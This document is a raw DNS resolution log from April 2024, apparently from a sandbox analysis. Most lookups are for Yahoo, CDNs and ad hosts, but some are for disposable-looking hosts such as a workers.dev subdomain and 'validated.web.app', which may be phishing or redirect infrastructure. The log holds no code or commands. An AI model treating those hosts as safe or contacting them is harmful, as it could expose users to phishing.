Apr 28, 2024 00:41:21.097342968 CEST	1.1.1.1	192.168.2.4	0x17d	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:33.940850973 CEST	1.1.1.1	192.168.2.4	0x8e8f	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:33.940850973 CEST	1.1.1.1	192.168.2.4	0x8e8f	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:34.015794992 CEST	1.1.1.1	192.168.2.4	0x3434	No error (0)	yhs-world-aged-dust-4671.aubrey744.workers.dev		104.21.16.147	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:34.015794992 CEST	1.1.1.1	192.168.2.4	0x3434	No error (0)	yhs-world-aged-dust-4671.aubrey744.workers.dev		172.67.213.159	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:34.017431021 CEST	1.1.1.1	192.168.2.4	0x9e4a	No error (0)	yhs-world-aged-dust-4671.aubrey744.workers.dev			65	IN (0x0001)	false
Apr 28, 2024 00:41:35.981491089 CEST	1.1.1.1	192.168.2.4	0x9540	No error (0)	google.com		172.253.63.100	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:35.981491089 CEST	1.1.1.1	192.168.2.4	0x9540	No error (0)	google.com		172.253.63.113	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:35.981491089 CEST	1.1.1.1	192.168.2.4	0x9540	No error (0)	google.com		172.253.63.138	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:35.981491089 CEST	1.1.1.1	192.168.2.4	0x9540	No error (0)	google.com		172.253.63.102	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:35.981491089 CEST	1.1.1.1	192.168.2.4	0x9540	No error (0)	google.com		172.253.63.101	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:35.981491089 CEST	1.1.1.1	192.168.2.4	0x9540	No error (0)	google.com		172.253.63.139	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:35.981925011 CEST	1.1.1.1	192.168.2.4	0x2e	No error (0)	google.com			65	IN (0x0001)	false
Apr 28, 2024 00:41:35.982009888 CEST	1.1.1.1	192.168.2.4	0xf1c8	No error (0)	s.yimg.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:35.982009888 CEST	1.1.1.1	192.168.2.4	0xf1c8	No error (0)	edge.gycpi.b.yahoodns.net		69.147.92.11	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:35.982009888 CEST	1.1.1.1	192.168.2.4	0xf1c8	No error (0)	edge.gycpi.b.yahoodns.net		69.147.92.12	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:35.983071089 CEST	1.1.1.1	192.168.2.4	0x2e5f	No error (0)	s.yimg.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:36.053601027 CEST	1.1.1.1	192.168.2.4	0x324c	No error (0)	kit.fontawesome.com	kit.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:36.056586981 CEST	1.1.1.1	192.168.2.4	0x8df6	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:36.056586981 CEST	1.1.1.1	192.168.2.4	0x8df6	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:36.056586981 CEST	1.1.1.1	192.168.2.4	0x8df6	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:36.056586981 CEST	1.1.1.1	192.168.2.4	0x8df6	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:36.057286024 CEST	1.1.1.1	192.168.2.4	0x3a3e	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Apr 28, 2024 00:41:36.057640076 CEST	1.1.1.1	192.168.2.4	0xdf70	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:36.057640076 CEST	1.1.1.1	192.168.2.4	0xdf70	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:36.058268070 CEST	1.1.1.1	192.168.2.4	0x74a8	No error (0)	maxcdn.bootstrapcdn.com			65	IN (0x0001)	false
Apr 28, 2024 00:41:36.059052944 CEST	1.1.1.1	192.168.2.4	0x6dde	No error (0)	maxcdn.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:36.059052944 CEST	1.1.1.1	192.168.2.4	0x6dde	No error (0)	maxcdn.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:36.061454058 CEST	1.1.1.1	192.168.2.4	0x93c3	No error (0)	cdn.jsdelivr.net	jsdelivr.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:36.061480999 CEST	1.1.1.1	192.168.2.4	0x8b7c	No error (0)	stackpath.bootstrapcdn.com			65	IN (0x0001)	false
Apr 28, 2024 00:41:36.061747074 CEST	1.1.1.1	192.168.2.4	0x3aff	No error (0)	stackpath.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:36.061747074 CEST	1.1.1.1	192.168.2.4	0x3aff	No error (0)	stackpath.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:36.062244892 CEST	1.1.1.1	192.168.2.4	0x94bc	No error (0)	cdn.jsdelivr.net	jsdelivr.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:36.062244892 CEST	1.1.1.1	192.168.2.4	0x94bc	No error (0)	jsdelivr.map.fastly.net		151.101.193.229	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:36.062244892 CEST	1.1.1.1	192.168.2.4	0x94bc	No error (0)	jsdelivr.map.fastly.net		151.101.1.229	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:36.062244892 CEST	1.1.1.1	192.168.2.4	0x94bc	No error (0)	jsdelivr.map.fastly.net		151.101.65.229	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:36.062244892 CEST	1.1.1.1	192.168.2.4	0x94bc	No error (0)	jsdelivr.map.fastly.net		151.101.129.229	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:36.067169905 CEST	1.1.1.1	192.168.2.4	0x625a	No error (0)	kit.fontawesome.com	kit.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:36.071583986 CEST	1.1.1.1	192.168.2.4	0x3259	No error (0)	validated.web.app		199.36.158.100	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:36.076848984 CEST	1.1.1.1	192.168.2.4	0xb585	No error (0)	geo.yahoo.com	geo-atsv2.media.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:36.076848984 CEST	1.1.1.1	192.168.2.4	0xb585	No error (0)	geo-atsv2.media.g03.yahoodns.net		66.218.87.15	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:36.077302933 CEST	1.1.1.1	192.168.2.4	0xbd95	No error (0)	geo.yahoo.com	geo-atsv2.media.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:36.079898119 CEST	1.1.1.1	192.168.2.4	0x99b0	No error (0)	geo.query.yahoo.com	udc-ats.media.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:36.079898119 CEST	1.1.1.1	192.168.2.4	0x99b0	No error (0)	udc-ats.media.g03.yahoodns.net		66.218.87.15	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:36.081476927 CEST	1.1.1.1	192.168.2.4	0x3221	No error (0)	geo.query.yahoo.com	udc-ats.media.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:36.389893055 CEST	1.1.1.1	192.168.2.4	0xf6e3	Name error (3)	y.analytics.yahoo.com	none	none	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:36.390819073 CEST	1.1.1.1	192.168.2.4	0xcf46	Name error (3)	y.analytics.yahoo.com	none	none	65	IN (0x0001)	false
Apr 28, 2024 00:41:36.488153934 CEST	1.1.1.1	192.168.2.4	0xe2d3	Name error (3)	y.analytics.yahoo.com	none	none	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:37.419270039 CEST	1.1.1.1	192.168.2.4	0x7143	No error (0)	ka-f.fontawesome.com	ka-f.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:37.420769930 CEST	1.1.1.1	192.168.2.4	0xe9cd	No error (0)	ka-f.fontawesome.com	ka-f.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:37.421170950 CEST	1.1.1.1	192.168.2.4	0x7c30	No error (0)	sb.scorecardresearch.com		18.165.83.3	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:37.421170950 CEST	1.1.1.1	192.168.2.4	0x7c30	No error (0)	sb.scorecardresearch.com		18.165.83.63	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:37.421170950 CEST	1.1.1.1	192.168.2.4	0x7c30	No error (0)	sb.scorecardresearch.com		18.165.83.79	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:37.421170950 CEST	1.1.1.1	192.168.2.4	0x7c30	No error (0)	sb.scorecardresearch.com		18.165.83.104	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:37.423090935 CEST	1.1.1.1	192.168.2.4	0x25d7	No error (0)	s.yimg.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:37.423131943 CEST	1.1.1.1	192.168.2.4	0xfb72	No error (0)	s.yimg.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:37.423131943 CEST	1.1.1.1	192.168.2.4	0xfb72	No error (0)	edge.gycpi.b.yahoodns.net		69.147.92.12	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:37.423131943 CEST	1.1.1.1	192.168.2.4	0xfb72	No error (0)	edge.gycpi.b.yahoodns.net		69.147.92.11	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:38.288824081 CEST	1.1.1.1	192.168.2.4	0x5413	No error (0)	s.yimg.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:38.288824081 CEST	1.1.1.1	192.168.2.4	0x5413	No error (0)	edge.gycpi.b.yahoodns.net		69.147.92.12	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:38.288824081 CEST	1.1.1.1	192.168.2.4	0x5413	No error (0)	edge.gycpi.b.yahoodns.net		69.147.92.11	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:38.288903952 CEST	1.1.1.1	192.168.2.4	0xbffd	No error (0)	s.yimg.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:38.291578054 CEST	1.1.1.1	192.168.2.4	0x665c	No error (0)	ka-f.fontawesome.com	ka-f.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:38.293143034 CEST	1.1.1.1	192.168.2.4	0x37d7	No error (0)	ka-f.fontawesome.com	ka-f.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:41.271095037 CEST	1.1.1.1	192.168.2.4	0xa99f	No error (0)	sb.scorecardresearch.com		18.165.98.41	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:41.271095037 CEST	1.1.1.1	192.168.2.4	0xa99f	No error (0)	sb.scorecardresearch.com		18.165.98.49	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:41.271095037 CEST	1.1.1.1	192.168.2.4	0xa99f	No error (0)	sb.scorecardresearch.com		18.165.98.9	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:41.271095037 CEST	1.1.1.1	192.168.2.4	0xa99f	No error (0)	sb.scorecardresearch.com		18.165.98.90	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:41.298075914 CEST	1.1.1.1	192.168.2.4	0x97fd	No error (0)	yhs-world-aged-dust-4671.aubrey744.workers.dev		104.21.16.147	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:41.298075914 CEST	1.1.1.1	192.168.2.4	0x97fd	No error (0)	yhs-world-aged-dust-4671.aubrey744.workers.dev		172.67.213.159	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:41.298713923 CEST	1.1.1.1	192.168.2.4	0xa9cc	No error (0)	yhs-world-aged-dust-4671.aubrey744.workers.dev			65	IN (0x0001)	false
Apr 28, 2024 00:41:46.072911024 CEST	1.1.1.1	192.168.2.4	0xd701	No error (0)	www.yahoo.com	me-ycpi-cf-www.g06.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:46.073152065 CEST	1.1.1.1	192.168.2.4	0x147a	No error (0)	www.yahoo.com	me-ycpi-cf-www.g06.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:46.073152065 CEST	1.1.1.1	192.168.2.4	0x147a	No error (0)	me-ycpi-cf-www.g06.yahoodns.net		69.147.92.11	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:46.073152065 CEST	1.1.1.1	192.168.2.4	0x147a	No error (0)	me-ycpi-cf-www.g06.yahoodns.net		69.147.92.12	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:48.392591000 CEST	1.1.1.1	192.168.2.4	0x39cb	No error (0)	geo.yahoo.com	geo-atsv2.media.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:48.392591000 CEST	1.1.1.1	192.168.2.4	0x39cb	No error (0)	geo-atsv2.media.g03.yahoodns.net		66.218.87.15	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:48.393984079 CEST	1.1.1.1	192.168.2.4	0xea34	No error (0)	geo.yahoo.com	geo-atsv2.media.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:48.394788980 CEST	1.1.1.1	192.168.2.4	0x2060	No error (0)	geo.query.yahoo.com	udc-ats.media.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:48.394788980 CEST	1.1.1.1	192.168.2.4	0x2060	No error (0)	udc-ats.media.g03.yahoodns.net		66.218.87.15	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:48.395739079 CEST	1.1.1.1	192.168.2.4	0xe664	No error (0)	geo.query.yahoo.com	udc-ats.media.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:48.432718039 CEST	1.1.1.1	192.168.2.4	0x6165	No error (0)	s.yimg.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:48.432718039 CEST	1.1.1.1	192.168.2.4	0x6165	No error (0)	edge.gycpi.b.yahoodns.net		69.147.92.12	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:48.432718039 CEST	1.1.1.1	192.168.2.4	0x6165	No error (0)	edge.gycpi.b.yahoodns.net		69.147.92.11	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:48.433449984 CEST	1.1.1.1	192.168.2.4	0xa2c9	No error (0)	s.yimg.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:48.433779955 CEST	1.1.1.1	192.168.2.4	0x1053	No error (0)	consent.cmp.oath.com	cs550162656.adn.psicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:48.433779955 CEST	1.1.1.1	192.168.2.4	0x1053	No error (0)	cs550162656.adn.psicdn.net		152.195.55.192	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:48.434967995 CEST	1.1.1.1	192.168.2.4	0x8df3	No error (0)	consent.cmp.oath.com	cs550162656.adn.psicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:48.436469078 CEST	1.1.1.1	192.168.2.4	0xa483	No error (0)	edge-mcdn.secure.yahoo.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:48.437057972 CEST	1.1.1.1	192.168.2.4	0x3872	No error (0)	edge-mcdn.secure.yahoo.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:48.437057972 CEST	1.1.1.1	192.168.2.4	0x3872	No error (0)	edge.gycpi.b.yahoodns.net		69.147.92.11	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:48.437057972 CEST	1.1.1.1	192.168.2.4	0x3872	No error (0)	edge.gycpi.b.yahoodns.net		69.147.92.12	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:48.509929895 CEST	1.1.1.1	192.168.2.4	0x8d25	No error (0)	search.yahoo.com	ds-global3.l7.search.ystg1.b.yahoo.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:48.509948015 CEST	1.1.1.1	192.168.2.4	0x90b9	No error (0)	search.yahoo.com	ds-global3.l7.search.ystg1.b.yahoo.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:48.509948015 CEST	1.1.1.1	192.168.2.4	0x90b9	No error (0)	ds-global3.l7.search.ystg1.b.yahoo.com		66.218.84.137	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:49.297403097 CEST	1.1.1.1	192.168.2.4	0xc9ee	No error (0)	guce.yahoo.com	real.rotation.guce.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:49.297403097 CEST	1.1.1.1	192.168.2.4	0xc9ee	No error (0)	real.rotation.guce.aws.oath.cloud	prod-rotation-v2.guce.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:49.297698021 CEST	1.1.1.1	192.168.2.4	0xa811	No error (0)	guce.yahoo.com	real.rotation.guce.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:49.297698021 CEST	1.1.1.1	192.168.2.4	0xa811	No error (0)	real.rotation.guce.aws.oath.cloud	prod-rotation-v2.guce.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:49.297698021 CEST	1.1.1.1	192.168.2.4	0xa811	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		52.86.89.200	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:49.297698021 CEST	1.1.1.1	192.168.2.4	0xa811	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		52.23.140.74	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:49.297698021 CEST	1.1.1.1	192.168.2.4	0xa811	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		54.175.141.183	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:49.297698021 CEST	1.1.1.1	192.168.2.4	0xa811	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		52.45.16.167	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:49.297698021 CEST	1.1.1.1	192.168.2.4	0xa811	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		34.233.181.64	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:49.297698021 CEST	1.1.1.1	192.168.2.4	0xa811	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		54.165.138.201	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:49.297698021 CEST	1.1.1.1	192.168.2.4	0xa811	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		35.168.155.180	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:49.297698021 CEST	1.1.1.1	192.168.2.4	0xa811	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		52.44.55.149	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:50.354684114 CEST	1.1.1.1	192.168.2.4	0xf13b	No error (0)	securepubads.g.doubleclick.net	securepubads46.g.doubleclick.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:50.355091095 CEST	1.1.1.1	192.168.2.4	0x9e64	No error (0)	securepubads.g.doubleclick.net	securepubads46.g.doubleclick.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:50.355091095 CEST	1.1.1.1	192.168.2.4	0x9e64	No error (0)	securepubads46.g.doubleclick.net		142.251.16.156	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:50.355091095 CEST	1.1.1.1	192.168.2.4	0x9e64	No error (0)	securepubads46.g.doubleclick.net		142.251.16.157	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:50.356844902 CEST	1.1.1.1	192.168.2.4	0x2a8d	No error (0)	opus.analytics.yahoo.com	cs964.wpc.9465e.mucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:50.356844902 CEST	1.1.1.1	192.168.2.4	0x2a8d	No error (0)	cs964.wpc.9465e.mucdn.net	cs964199420.wpc.mucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:50.356844902 CEST	1.1.1.1	192.168.2.4	0x2a8d	No error (0)	cs964199420.wpc.mucdn.net		152.199.24.48	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:50.357450008 CEST	1.1.1.1	192.168.2.4	0x39ff	No error (0)	opus.analytics.yahoo.com	cs964.wpc.9465e.mucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:50.357450008 CEST	1.1.1.1	192.168.2.4	0x39ff	No error (0)	cs964.wpc.9465e.mucdn.net	cs964199420.wpc.mucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:50.371373892 CEST	1.1.1.1	192.168.2.4	0x3d5a	No error (0)	guce.yahoo.com	real.rotation.guce.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:50.371373892 CEST	1.1.1.1	192.168.2.4	0x3d5a	No error (0)	real.rotation.guce.aws.oath.cloud	prod-rotation-v2.guce.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:50.371373892 CEST	1.1.1.1	192.168.2.4	0x3d5a	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		52.23.140.74	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:50.371373892 CEST	1.1.1.1	192.168.2.4	0x3d5a	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		52.45.16.167	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:50.371373892 CEST	1.1.1.1	192.168.2.4	0x3d5a	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		54.175.141.183	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:50.371373892 CEST	1.1.1.1	192.168.2.4	0x3d5a	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		44.194.135.164	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:50.371373892 CEST	1.1.1.1	192.168.2.4	0x3d5a	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		34.233.181.64	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:50.371373892 CEST	1.1.1.1	192.168.2.4	0x3d5a	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		54.166.111.221	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:50.371373892 CEST	1.1.1.1	192.168.2.4	0x3d5a	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		35.168.99.125	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:50.371373892 CEST	1.1.1.1	192.168.2.4	0x3d5a	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		52.44.55.149	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:50.373569965 CEST	1.1.1.1	192.168.2.4	0x7498	No error (0)	guce.yahoo.com	real.rotation.guce.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:50.373569965 CEST	1.1.1.1	192.168.2.4	0x7498	No error (0)	real.rotation.guce.aws.oath.cloud	prod-rotation-v2.guce.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:51.980663061 CEST	1.1.1.1	192.168.2.4	0x91a8	No error (0)	udc.yahoo.com	udc-ats.media.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:51.981059074 CEST	1.1.1.1	192.168.2.4	0xb7fc	No error (0)	udc.yahoo.com	udc-ats.media.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:51.981059074 CEST	1.1.1.1	192.168.2.4	0xb7fc	No error (0)	udc-ats.media.g03.yahoodns.net		66.218.87.15	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:52.163469076 CEST	1.1.1.1	192.168.2.4	0xf55e	No error (0)	ups.analytics.yahoo.com	prod.ups-ats.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:52.163469076 CEST	1.1.1.1	192.168.2.4	0xf55e	No error (0)	prod.ups-ats.aolp-ds-prd.aws.oath.cloud	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:52.163469076 CEST	1.1.1.1	192.168.2.4	0xf55e	No error (0)	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:52.163469076 CEST	1.1.1.1	192.168.2.4	0xf55e	No error (0)	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		34.200.65.202	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:52.163469076 CEST	1.1.1.1	192.168.2.4	0xf55e	No error (0)	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		3.225.218.10	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:52.164629936 CEST	1.1.1.1	192.168.2.4	0xa5e	No error (0)	west-bid-gps.ybp.yahoo.com	bid-prod2-us-west-2-bid.dsp-plus-backend.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:52.164938927 CEST	1.1.1.1	192.168.2.4	0x634e	No error (0)	ups.analytics.yahoo.com	prod.ups-ats.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:52.164938927 CEST	1.1.1.1	192.168.2.4	0x634e	No error (0)	prod.ups-ats.aolp-ds-prd.aws.oath.cloud	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:52.164938927 CEST	1.1.1.1	192.168.2.4	0x634e	No error (0)	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:52.521121979 CEST	1.1.1.1	192.168.2.4	0x8e05	No error (0)	west-bid-gps.ybp.yahoo.com	bid-prod2-us-west-2-bid.dsp-plus-backend.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:41:52.521121979 CEST	1.1.1.1	192.168.2.4	0x8e05	No error (0)	bid-prod2-us-west-2-bid.dsp-plus-backend.aws.oath.cloud		35.83.92.21	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:52.521121979 CEST	1.1.1.1	192.168.2.4	0x8e05	No error (0)	bid-prod2-us-west-2-bid.dsp-plus-backend.aws.oath.cloud		52.34.105.147	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:52.521121979 CEST	1.1.1.1	192.168.2.4	0x8e05	No error (0)	bid-prod2-us-west-2-bid.dsp-plus-backend.aws.oath.cloud		54.200.196.53	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:52.521121979 CEST	1.1.1.1	192.168.2.4	0x8e05	No error (0)	bid-prod2-us-west-2-bid.dsp-plus-backend.aws.oath.cloud		52.26.79.89	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:52.521121979 CEST	1.1.1.1	192.168.2.4	0x8e05	No error (0)	bid-prod2-us-west-2-bid.dsp-plus-backend.aws.oath.cloud		35.167.33.167	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:52.521121979 CEST	1.1.1.1	192.168.2.4	0x8e05	No error (0)	bid-prod2-us-west-2-bid.dsp-plus-backend.aws.oath.cloud		34.211.183.114	A (IP address)	IN (0x0001)	false
